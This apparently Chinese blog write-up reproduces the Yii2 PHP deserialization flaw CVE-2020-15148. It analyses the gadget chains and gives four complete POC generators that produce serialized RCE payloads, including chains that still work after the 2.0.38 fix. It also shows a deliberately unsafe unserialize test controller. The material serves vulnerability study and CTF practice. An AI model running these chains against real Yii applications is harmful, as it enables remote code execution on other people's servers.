yii反序列化漏洞

Yii框架

Yii 是一个适用于开发 Web2.0 应用程序的高性能PHP 框架。

Yii 是一个通用的 Web 编程框架,即可以用于开发各种用 PHP 构建的 Web 应用。 因为基于组件的框架结构和设计精巧的缓存支持,它特别适合开发大型应用, 如门户网站、社区、内容管理系统(CMS)、 电子商务项目和 RESTful Web 服务等。

Yii 当前有两个主要版本:1.1 和 2.0。 1.1 版是上代的老版本,现在处于维护状态。 2.0 版是一个完全重写的版本,采用了最新的技术和协议,包括依赖包管理器 Composer、PHP 代码规范 PSR、命名空间、Traits(特质)等等。 2.0 版代表新一代框架,是未来几年中我们的主要开发版本。

Yii 2.0 还使用了 PHP 的最新特性, 例如命名空间 和Trait(特质)

漏洞描述

yii2.2.0.38之前的版本存在反序列化漏洞,程序在调用unserialize时,攻击者可以通过构造特定的恶意请求执行RCE,CVE编号是CVE-2020-15148.

2.0.38已修复该漏洞,官方的修复方法:

在yii\db\BatchQueryResult类增加了一个__wakeup()函数,函数内容为:当BatchQueryResult类被反序列化时直接报错,wakeup()方法在类被反序列化会自动调用,这样也就避免了反序列化的发生,避免了漏洞。

环境复现

本地使用phpstudy搭建,将Yii的demo下载下来:

https://github.com/yiisoft/yii2/releases/tag/2.0.37

修改/config/web.php里的cookieValidationKey为任何值,不然会报错:

进入目录,执行 php yii serve

进入http:localhost:8080

前置知识点

namespace:

PHP: 命名空间概述 - Manual

php中命名空间(namespace)的作用和使用_古语静水流深-CSDN博客

PHP命名空间(Namespace)的使用详解 - 酷越 - 博客园

call_user_func_array()

[Yii2.0 路由(Route)的实现原理 2.0 版本 ]

所谓路由是指URL中用于标识用于处理用户请求的module, controller, action的部分,一般情况下由 r 查询参数来指定。
如 http://www.digpage.com/index.php?r=post/view&id=100 ,表示这个请求将由PostController 的 actionView来处理。(主要首字母要大写)

__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

__destruct():当对象被销毁时会自动调用。

__call():是在对象上下文中调用不可访问的方法时触发

由于是反序列化利用链,我们需要一个入口点,在controllers目录下创建一个Controller:

controllers/TestController.php:

url:http:localhost:8080/?r=test/test&data=xxx

<?phpnamespace app\controllers;class TestController extends \yii\web\Controller
{public function actionTest($data){return unserialize(base64_decode($data));}}

漏洞分析

漏洞触发点在\yii-2.0.37\vendor\yiisoft\yii2\db\BatchQueryResult.php文件中

/*** Destructor.*/public function __destruct(){// make sure cursor is closed$this->reset();}/*** Resets the batch query.* This method will clean up the existing batch query so that a new batch query can be performed.*/public function reset(){if ($this->_dataReader !== null) {$this->_dataReader->close();}$this->_dataReader = null;$this->_batch = null;$this->_value = null;$this->_key = null;}

__destruct()跟进reset(),继续跟进close(),发现close()里没有利用点。但是这里的 _dataRender是可控的,可以触发__call方法进行利用。

当一个对象调用不可访问的close方法或者类中没有close方法,即可触发 __call。全局搜索一下 __call方法,在\vendor\fzaninotto\faker\src\Faker\Generator.php中找到了合适的方法:

 /*** @param string $method* @param array $attributes** @return mixed*/public function __call($method, $attributes){return $this->format($method, $attributes);}

这里的$methodclose函数,$attributes为空,因为close函数形参为空。继续跟进format方法

public function format($formatter, $arguments = array()){return call_user_func_array($this->getFormatter($formatter), $arguments);}

发现了call_user_func_array()函数,看到了一丝希望。在这里解释一下call_user_func_array()函数:

call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数

使用方法:

call_user_func_array(callable $callback, array $param_arr): mixed
callback被调用的回调函数。
param_arr要被传入回调函数的数组,这个数组得是索引数组。

示例:

<?php
namespace Foobar;
class Foo {static public function test($name) {print "Hello {$name}!\n";}
}
// As of PHP 5.3.0
call_user_func_array(__NAMESPACE__ .'\Foo::test', array('Hannes'));
//输出:Hello Hannes// As of PHP 5.3.0
call_user_func_array(array(__NAMESPACE__ .'\Foo', 'test'), array('Philip'));
//输出:Hello Philip
?>

继续跟进getFormmatter函数:

/*** @param string $formatter** @return Callable*/public function getFormatter($formatter){if (isset($this->formatters[$formatter])) {return $this->formatters[$formatter];}foreach ($this->providers as $provider) {if (method_exists($provider, $formatter)) {$this->formatters[$formatter] = array($provider, $formatter);return $this->formatters[$formatter];}}throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));}

关注前半部分,发现$this->formatters是可控的,因此getFormmatter方法的返回值也是可控的,因此在call_user_func_array($this->getFormatter($formatter), $arguments);中,第一个参数可控,第二个参数为空。

这时候就需要一个执行类,类中的方法需要满足两个条件:

  1. 方法所需的参数为自己类中存在的参数
  2. 方法需要有命令执行的功能

参考了一些大师傅的思路,call_user_func函数很符合以上的方法,这里介绍一下call_user_func

call_user_func:把第一个参数作为回调函数调用,这里用call_user_func即可达到RCE的作用。

好了,找一下带有call_user_func的类:

构造正则

function \w*\(\)\n? *\{(.*\n)+ *call_user_func

找到了两个适合的类方法run:

yii\rest\CreateAction::run(), $this->checkAccess, $this->id两个参数可控

public function run(){if ($this->checkAccess) {call_user_func($this->checkAccess, $this->id);}...return $model;}

yii\rest\IndexAction::run(), $this->checkAccess, $this->id两个参数可控

public function run(){if ($this->checkAccess) {call_user_func($this->checkAccess, $this->id);}return $this->prepareDataProvider();}

好了,POP链到此结束。整理一下:

yii\db\BatchQueryResult::__destruct()->reset()->close()
↓↓↓
Fake\Generator::__call()->format()->call_user_func_array
↓↓↓
yii\rest\IndexAction::run()->call_user_func

构造POC:

<?phpnamespace yii\rest{class IndexAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'phpinfo';$this->id = '1'; // rce}}
}namespace Faker{use yii\rest\IndexAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close'] = [new IndexAction(),'run'];}}
}namespace yii\db{use Faker\Generator;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader = new Generator();}}}namespace {use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));
}

成功复现。

其他pop链

其实还可以找到其他的pop链,还是以BatchQueryResult类的__destruct作为起点。还是跟到$this->_dataReader->close();,但是这次不以__ __call为跳板,而是寻找确实存在close方法的一个类,而且这个类的close方法可以利用。经过寻找,找到了yii\web\DbSession这个类:

  public function close(){if ($this->getIsActive()) {// prepare writeCallback fields before session closes$this->fields = $this->composeFields();YII_DEBUG ? session_write_close() : @session_write_close();}}

跟进getIsActive(),发现无法利用,跟进$this->composeFields();:

protected function composeFields($id = null, $data = null){$fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];if ($id !== null) {$fields['id'] = $id;}if ($data !== null) {$fields['data'] = $data;}return $fields;}

出现了call_user_func函数:$this->writeCallback ? call_user_func($this->writeCallback, $this),且$this->writeCallback可控,因此调回的回调函数可控。

因此这里可以调用前面那条链的run方法,实现RCE。

整理一下POP链:

yii\db\BatchQueryResult::__destruct()->reset()->close()
↓↓↓
yii\web\DbSession::close()->composeFields()->call_user_func()
↓↓↓
yii\rest\IndexAction::run()->call_user_func()

POC如下:

<?phpnamespace yii\rest{class IndexAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'phpinfo';$this->id = '1'; // rce}}
}namespace yii\web{use yii\rest\IndexAction;class DbSession{public $writeCallback;public function __construct(){$this->writeCallback = [new IndexAction(),'run'];}}
}namespace yii\db{use yii\web\DbSession;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader = new DbSession();}}}namespace {use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));
}

成功复现。

针对2.0.38版本

POC-1

yii2.0.38做了如下更新,借用feng师傅的图

增加了__wakeup(),在反序列化时直接抛出异常,因此以BatchQueryResult为起点的这条链在2.0.38里算是不行了。因此再继续复习学习一下大师傅们针对2.0.38挖掘的其他新链。

类比上一条链的思路,yii2只是限制了batchQueryResult类不能进行反序列化,但是后面的__cal以及之后的链都是完好无损的,因此想找一条新的链,最快的方式就是再找一个存在__destruct这样的利用点,然后正好类中的一个属性调用了一个方法,而且这个属性我们可控,那么就是一条新链了。
全局找一下__destruct,经过排查,发现RunProcess类的__destruct可以利用:

public function __destruct()
{$this->stopProcess();
}

继续跟进:

    public function stopProcess(){foreach (array_reverse($this->processes) as $process) {/** @var $process Process  **/if (!$process->isRunning()) {continue;}$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());$process->stop();}$this->processes = [];}

因为this−>processes可控,所以this->processes可控,所以this−>processes可控,所以process可控。这里$process->isRunning(),调用isRunning方法,因此又可以触发__call,然后继续反序列化。

构造POC:

<?phpnamespace yii\rest{class IndexAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'phpinfo';$this->id = '1'; // rce}}
}namespace Faker{use yii\rest\IndexAction;class Generator{protected $formatters;public function __construct(){$this->formatters['isRunning'] = [new IndexAction(),'run'];}}
}namespace Codeception\Extension{use Faker\Generator;class RunProcess{private $processes = [];public function __construct(){$this->processes[] = new Generator();}}}namespace {use Codeception\Extension\RunProcess;echo base64_encode(serialize(new RunProcess()));
}

复现成功。

POC-2

还是看__destruct,发现\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php中的Swift_KeyCache_DiskKeyCache类可以利用:

public function __destruct(){foreach ($this->keys as $nsKey => $null) {$this->clearAll($nsKey);}}

跟进clearAll()

public function clearAll($nsKey)
{if (array_key_exists($nsKey, $this->keys)) {foreach ($this->keys[$nsKey] as $itemKey => $null) {$this->clearKey($nsKey, $itemKey);}if (is_dir($this->path.'/'.$nsKey)) {rmdir($this->path.'/'.$nsKey);}unset($this->keys[$nsKey]);}
}

继续跟进clearKey发现没有利用点,触发不了__call,不过看到了$this->path.'/'.$nsKey,存在字符串拼接问题,而$this->path$nsKey都是我们可控的,因此可以触发__toString。全局搜索一波,可以找到很多:

可以找到好多可以利用的__toString,我这里找到了vendor\phpDocumentor\Reflection\DocBlock\Tags\Covers.php里的

public function __toString() : string{return $this->refers . ($this->description ? ' ' . $this->description->render() : '');}

看到了$this->description->render(),又可以利用__call了,于是第二条POP链又成了。

构造POC-2:

<?phpnamespace yii\rest{class IndexAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'phpinfo';$this->id = '1';}}
}
namespace Faker {use yii\rest\IndexAction;class Generator{protected $formatters;public function __construct(){$this->formatters['render'] = [new IndexAction(), 'run'];}}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{use Faker\Generator;class Covers{protected $description;public function __construct(){$this->description=new Generator();}}
}namespace{use phpDocumentor\Reflection\DocBlock\Tags\Covers;class Swift_KeyCache_DiskKeyCache{private $keys = [];private $path;public function __construct(){$this->path=new Covers();$this->keys=array('hello'=>'world');}}echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

复现成功。

总结

在ctfshow做题时遇到了yii反序列化,写这篇文章来记录下yii反序列化漏洞的利用以及复现,以后或许可以用得到,主要就是__destruct,__call,__toString等魔术方法的灵活使用和call_user_func、call_user_func_array的利用。

yii反序列化漏洞复现及利用相关推荐

  1. JBoss 反序列化漏洞复现

    JBoss 反序列化漏洞复现 漏洞描述: 互联网爆出JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主 ...

  2. CVE-2020-15148--Yii2 反序列化漏洞复现

    目录 简介: 环境部署: 知识点: 分析: 复现: 参考链接: 其他问题: 简介: Yii Framework是一个基于组件.用于开发大型Web应用的高性能 PHP 框架.Yii提供了今日Web 2. ...

  3. Fastjson 1.2.24 反序列化漏洞复现

    Fastjson 1.2.24 反序列化漏洞复现 1.漏洞介绍 FastjsonEngine是其中的一个JSON处理引擎.Fastjson是其中的一个基于Java的JSON解析器/生成器. Pippo ...

  4. ms08_067,ms10_046漏洞复现与利用

    ms08_067,ms10_046漏洞复现与利用 一:ms08_067 主机扫描 通过nessus扫描网段内存活的主机,发现192.168.206.142该靶机并且时xp而且开启了445端口,考虑使用 ...

  5. Yii2 反序列化漏洞复现

    文章目录 环境搭建 漏洞复现(CVE-2020-15148) 漏洞分析 其他反序列化链1(2.0.38可用) 其他反序列化链2(2.0.38可用) 自己找个__toString() 其他反序列化链3( ...

  6. 追洞小组 | Jdbc反序列化漏洞复现浅析

    目录 1.前言+靶场搭建  2.漏洞复现  3.漏洞分析 4.漏洞修复  5.心得 前言+靶场搭建 很多时候我们获得密码之后进入后台管理的界面,有些上传的漏洞或者sql注入无法getshell,但是如 ...

  7. typecho反序列化漏洞复现

    typecho框架存在反序列化漏洞,利用此漏洞可执行任意代码 环境搭建 第一步 第二步 第三步 第三步 第四步 第五步 第六步 第七步 第八步 第九步 漏洞分析 typecho\build\insta ...

  8. Fastjson1.2.47反序列化漏洞复现

    一.漏洞描述 Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中.Fastjson提供了autotype功能,允许用户在反序列化数据中通过&quo ...

  9. shiro 721 反序列化漏洞复现与原理以及Padding Oracle Attack攻击加解密原理

    文章目录 1. 前置知识 1.1 shiro550利用条件 原理 1.2 shiro721利用条件 原理 shiro-721对cookie中rememberMe的值的解析过程 1.3 基于返回包的sh ...

最新文章

  1. 【Android 异步操作】线程池 ( 线程池 reject 拒绝任务 | 线程池 addWorker 添加任务 )
  2. 基于OpenSSL自建CA和颁发SSL证书
  3. Referrer Policy 介绍
  4. 比尔·盖茨不玩IT了
  5. 任务方案思考:句子相似度和匹配
  6. 周星驰八级全国统一试卷
  7. C++基础——类继承中方法重载
  8. bin转txt工具_Shell笔记之常用工具
  9. 【Java】快速排序,归并排序,堆排序
  10. (测试可用)针式打印机打印WEB页面字体不清晰,解决方法
  11. 免费下载3小时学会Excel数据处理视频教程
  12. java digester map_Tomcat7启动分析(三)Digester的使用(转载)
  13. 最全 Yaml 语法详解
  14. 在线制作证件照教程,只需30秒
  15. 学生成绩管理系统mysql数据库表,(最新整理)学生成绩管理系统数据库设计
  16. Redis中什么是热Key问题?如何解决热Key问题?
  17. 零基础转行学编程技术难吗?
  18. Mac系统随笔 | (2) Macbook WiFi共享
  19. vue高德地图JS API 实现海量点标记展示
  20. qt界面黑的咋办_去掉console黑窗口的方法(qt和vs)

热门文章

  1. 关于Swagger报错java.lang.NumberFormatException: For input string: 的总结
  2. 定义一个时间类Time
  3. three.js动画(Animation)
  4. 小米扫地机器人 贴膜_智能家居 篇一:小米扫地机器人
  5. 憋不住了!这8 个 MySQL 陷阱,我不得不说一下...
  6. java写的360界面,完成了360UI界面框架,庆祝
  7. 我的世界服务器键位显示怎么开,客户端设置方法 游戏键位及画面设置
  8. 语言表达能力不好,这些感统训练可以帮助你
  9. 考研二战日记——第133+134天小结
  10. 在OpenStack中关闭Ceph exclusive-lock功能